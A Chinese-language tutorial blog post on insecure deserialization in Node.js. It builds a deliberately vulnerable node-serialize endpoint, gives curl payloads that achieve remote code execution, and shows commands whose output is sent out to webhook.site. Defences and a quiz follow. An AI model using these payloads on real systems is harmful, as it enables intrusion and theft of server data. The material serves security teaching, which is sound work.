iT邦幫忙

2024 iThome 鐵人賽

DAY 19
0
Security

資安這條路:系統化學習網站安全與網站滲透測試系列 第 19

資安這條路:Day 19 Node.js 不安全反序列化與 out-of-band

  • 分享至 

  • xImage
  •  

前言

許多網站為了要傳遞資料,會將資料的序列化和反序列化的行為。

序列化與反序列化的過程允許開發者將物件或資料結構轉換成可傳輸的格式,然後再還原回原來的狀態。

但如同 injection 相關的問題,過於信任使用者所輸入的內容,會成為漏洞的來源,尤其是當反序列化過程中處理來自不可信任的來源資料時,就會導致不安全的反序列化(Insecure Deserialization)攻擊。

本篇文章將介紹反序列化的基本概念及其風險,並特別針對 Node.js 環境中的反序列化漏洞進行討論,最終提供防禦措施,以降低開發中的安全風險。

什麼是反序列化

序列化是將物件或資料結構轉換成字串或二進位格式,以便於傳輸或儲存的過程;反序列化則是將這些轉換後的資料還原為原始物件的過程。

在網站的情境中,這種技術經常用於在伺服器和客戶端之間傳輸資料,或是在分散式系統中分享狀態資訊。

例如,以下是一個簡單的 JSON 序列化和反序列化的範例:

const data = { username: "user", age: 25 };
const serializedData = JSON.stringify(data); // 序列化
const deserializedData = JSON.parse(serializedData); // 反序列化
console.log(deserializedData.username); // 輸出: "user"

雖然 JSON 通常被認為是相對安全的序列化格式,但其他格式(如二進位、XML、YAML 等)在反序列化的過程中則可能面臨更多的安全問題。

不安全的反序列化攻擊原理

反序列化本身並不是一個危險的操作,然而當網站信任不可信的資料並且沒有進行充分的檢查時,反序列化就可能成為攻擊的入口。

不安全的反序列化攻擊通常是利用惡意輸入,讓後端網站在反序列化過程中執行惡意的程式碼或指令。

攻擊流程

  1. 攻擊者構造惡意物件:攻擊者首先建立一個惡意序列化物件,這個物件可能包含惡意的指令或對系統的某些危險操作。
  2. 將惡意物件送至目標系統:攻擊者透過某種途徑(例如 HTTP 請求、WebSocket 封包等)將這個惡意物件傳送到目標網站。
  3. 反序列化過程執行惡意程式碼:當網站接收到這個物件並進行反序列化時,惡意程式碼會被執行,可能導致資料洩漏、指令執行,甚至完全控制伺服器。

不安全的反序列化實作與說明

在這個實作中,我們將展示如何使用 node-serialize 庫進行資料反序列化,並說明其中的不安全因素。反序列化是將已序列化的資料還原為物件的過程,當該資料來自不信任的來源時,這個過程就可能帶來安全風險。以下的實作展示了在 Node.js 應用中使用不安全的反序列化,並討論相關的漏洞與可能的攻擊場景。

實作步驟

  1. 安裝 node-serialize 函式庫
    首先,我們在 package.json 中加入了 node-serialize,它是一個用於序列化與反序列化物件的函式庫:

    "node-serialize": "0.0.4"
    

    這個函式庫提供 serializeunserialize 兩個主要方法,用來將 JavaScript 物件轉換為字串格式,並從字串格式還原為物件。然而,這個函式庫在進行反序列化時並不檢查資料的來源,這意味著攻擊者可以傳入惡意的資料來進行攻擊。

  2. 設定控制器進行反序列化
    接著,我們在 serializeController.js 中定義了一個 serialize 方法,該方法負責接收來自使用者的資料並進行反序列化:

    const serialize = require('node-serialize');
    
    const serializeController = {
        // 反序列化
        serialize: function(req, res) {
            try {
                // 不安全的反序列化
                const deserializedData = serialize.unserialize(req.body);
                res.status(200).json(deserializedData);
            } catch (error) {
                console.error('Error processing data:', error);
                res.status(400).send('Error processing data');
            }
        }
    };
    
    module.exports = serializeController;
    

    在這段程式碼中,我們透過 serialize.unserialize 函數將從使用者端傳入的資料進行反序列化並直接返回。問題在於,這段程式碼未對輸入的資料進行任何驗證,攻擊者可以提交惡意的序列化物件來觸發反序列化攻擊。

  3. 設定路由處理反序列化請求
    接著,我們在 serializeRouter.js 中定義了對 /api/serialize 的 POST 請求路由:

    const express = require('express');
    const serializeController = require('../controllers/serializeController');
    const serializeRouter = express.Router();
    
    serializeRouter.post('/', serializeController.serialize);
    
    module.exports = serializeRouter;
    

    這個路由將請求轉發到 serializeController.serialize 方法,處理來自客戶端的資料並進行反序列化。

  4. 將路由整合到伺服器
    最後,我們將這個路由整合到 server.js 中,以便應用能夠處理對 /api/serialize 的 POST 請求:

    const serializeRouter = require('./routes/serializeRouter');
    
    app.use('/api/serialize', serializeRouter);
    

安全風險與攻擊場景

這段程式碼中的問題在於未對反序列化過程中的輸入資料進行驗證。攻擊者可以傳遞惡意的序列化物件,並利用反序列化過程來執行任意程式碼或存取敏感資料。例如,攻擊者可以傳遞一個包含惡意指令的序列化物件,進而觸發遠端程式碼執行(RCE)。

攻擊示範1

攻擊者可能使用以下 curl 命令,傳遞惡意的序列化資料來攻擊伺服器:

curl -X POST http://nodelab.feifei.tw/api/serialize \
     -H "Content-Type: application/json" \
     -d '{"key": "value"}'

image

攻擊示範2

curl -X POST http://nodelab.feifei.tw/api/serialize \
     -H "Content-Type: application/json" \
     -d '{"rce":"_$$ND_FUNC$$_function(){console.log(\"RCE successful\");}()"}' 

image

攻擊示範3

image
進入 webhook.site 取得網址

curl -X POST http://nodelab.feifei.tw/api/serialize \
     -H "Content-Type: application/json" \
     -d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\"https\");const options={hostname:\"webhook.site\",port:443,path:\"/1bb81cbc-5627-4b9c-a1a1-81c6ab2fe997\",method:\"POST\",rejectUnauthorized:false};const req=https.request(options,res=>{});req.on(\"error\",error=>{console.error(error)});req.write(\"RCE successful\");req.end();return {}}()"}'

image

攻擊示範4

curl -X POST http://nodelab.feifei.tw/api/serialize \
     -H "Content-Type: application/json" \
     -d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\"https\");const {execSync}=require(\"child_process\");const result=execSync(\"ls /\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/1bb81cbc-5627-4b9c-a1a1-81c6ab2fe997\",method:\"POST\",rejectUnauthorized:false};const req=https.request(options,res=>{});req.on(\"error\",error=>{console.error(error)});req.write(result);req.end();return {}}()"}' 

image

攻擊示範5

curl -X POST http://nodelab.feifei.tw/api/serialize \
     -H "Content-Type: application/json" \
     -d '{"rce":"_$$ND_FUNC$$_function(){const https=require(\"https\");const {execSync}=require(\"child_process\");const result=execSync(\"uname -a && whoami && id\").toString();const options={hostname:\"webhook.site\",port:443,path:\"/1bb81cbc-5627-4b9c-a1a1-81c6ab2fe997\",method:\"POST\",rejectUnauthorized:false};const req=https.request(options,res=>{});req.on(\"error\",error=>{console.error(error)});req.write(result);req.end();return {}}()"}'

image

防禦措施

要防止這類攻擊,我們應採取以下措施:

  1. 輸入驗證:在進行反序列化之前,應對輸入資料進行嚴格的格式檢查,確保資料只包含合法的內容。
  2. 使用安全的反序列化函式庫:避免使用存在已知漏洞的函式庫(如 node-serialize),可以考慮使用 JSON 格式進行序列化與反序列化,因為 JSON 不允許執行代碼。
  3. 最小化暴露的功能:在反序列化過程中,避免賦予物件過多的權限,並確保使用者提交的資料無法影響系統的關鍵功能。

總結

這個實作展示了不安全的反序列化如何為攻擊者提供了可乘之機,開發者在使用序列化和反序列化技術時應保持謹慎,並確保對資料進行充分的驗證。

out-of-band資料傳輸在不安全反序列化攻擊中的應用

在不安全反序列化攻擊中,攻擊者經常使用帶外(out-of-band)資料傳輸技術來竊取資訊或執行更複雜的攻擊。這種技術特別有用,尤其是在直接的指令執行結果不會立即回傳給攻擊者的情況下。

out-of-band技術的運作原理

  1. 建立外部管道:攻擊者設置一個外部伺服器(如我們範例中使用的 webhook.site)來接收資料。

  2. 注入回呼程式碼:在反序列化攻擊載荷中,攻擊者包含了向這個外部伺服器發送請求的程式碼。

  3. 資料擷取:當反序列化發生時,注入的程式碼執行並將敏感資訊或指令執行結果傳送到攻擊者控制的伺服器。

  4. 繞過防禦:這種技術可以繞過某些防禦機制,因為惡意流量看起來像是從受害伺服器發起的正常對外請求。

範例說明

在我們的攻擊示範中,我們使用了 webhook.site 作為外部接收伺服器。攻擊載荷中包含了使用 HTTPS 模組向這個伺服器發送 POST 請求的程式碼。這允許攻擊者:

  • 確認漏洞的存在(如果收到請求,表示程式碼已被執行)
  • 擷取無法直接在回應中看到的資訊(如系統指令的輸出)
  • 潛在建立持續的通訊管道,以進行更複雜的攻擊

安全影響

out-of-band技術的使用大大增加了不安全反序列化攻擊的危險性:

  • 它使攻擊更難被偵測,因為惡意活動的證據可能不會出現在受害系統的紀錄中。
  • 它允許攻擊者緩慢地擷取大量資料,甚至可能在很長一段時間內維持對系統的存取。
  • 它可以用來繞過一些傳統的網路安全控制,如防火牆規則。

防禦措施

為了防禦利用out-of-band技術的攻擊,除了一般的反序列化安全措施外,還應考慮:

  1. 嚴格控制對外網路連線,限制伺服器可以連接的外部目標。
  2. 監控異常的對外流量模式。
  3. 使用網路分段來隔離關鍵系統。
  4. 實施深度封包檢測(DPI)來分析對外請求的內容。

理解和防禦out-of-band技術在不安全反序列化攻擊中的應用,是全面保護系統安全的重要環節。

結論

反序列化是一個強大的工具,可以讓開發者輕鬆地在網站中傳遞和儲存資料。然而,不安全的反序列化可能會導致嚴重的安全問題,特別是當網站處理來自不可信來源的資料時。開發者應該對此保持警惕,並採取適當的防護措施來減少風險。

透過嚴格的輸入驗證、安全的反序列化工具和定期的安全審查,您可以有效地保護您的網站免受不安全反序列化攻擊的威脅。

小試身手

  1. 反序列化的主要用途是什麼?
    A) 將資料轉換成字串
    B) 還原序列化資料為原始物件
    C) 儲存資料到檔案系統
    D) 傳輸資料到外部系統

    答案: B
    解釋:反序列化的主要用途是將序列化後的資料還原為原始物件,以便程式可以再次操作這些資料。

  2. 什麼情況下反序列化最有可能導致安全風險?
    A) 當反序列化來自不信任的來源
    B) 當反序列化 JSON 資料時
    C) 當反序列化內建模組時
    D) 當序列化和反序列化都發生在同一系統上

    答案: A
    解釋:反序列化不信任來源的資料時,可能包含惡意的資料結構或指令,從而引發安全風險。

  3. 下列哪一項是防止不安全反序列化的最佳實踐?
    A) 信任來自外部系統的所有資料
    B) 使用 eval 函數來解析反序列化資料
    C) 對反序列化的資料進行驗證
    D) 使用不安全的反序列化函式庫

    答案: C
    解釋:對反序列化的資料進行驗證是減少安全風險的重要步驟,這可以防止惡意資料被反序列化並導致潛在的攻擊。

  4. 在 Node.js 中,哪個模組的使用可能導致不安全的反序列化?
    A) fs
    B) http
    C) node-serialize
    D) path
    答案: C
    解釋:node-serialize 模組允許序列化和反序列化任意 JavaScript 對象,包括函數,這可能導致遠端程式碼執行風險。

  5. 不安全反序列化攻擊可能導致以下哪種結果?
    A) 拒絕服務(DoS)
    B) 遠端程式碼執行(RCE)
    C) 資訊洩漏
    D) 以上皆是
    答案: D
    解釋:不安全反序列化可能導致多種嚴重後果,包括拒絕服務、遠端程式碼執行和敏感資訊洩漏。


上一篇
資安這條路:Day 18 Node.js 中 Command injection 誤用 vm 模組沙箱逃脫和 require:函數的資安風險
下一篇
資安這條路:Day 20 SSRF 漏洞解析與於 docker-compose 實作其他服務
系列文
資安這條路:系統化學習網站安全與網站滲透測試30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言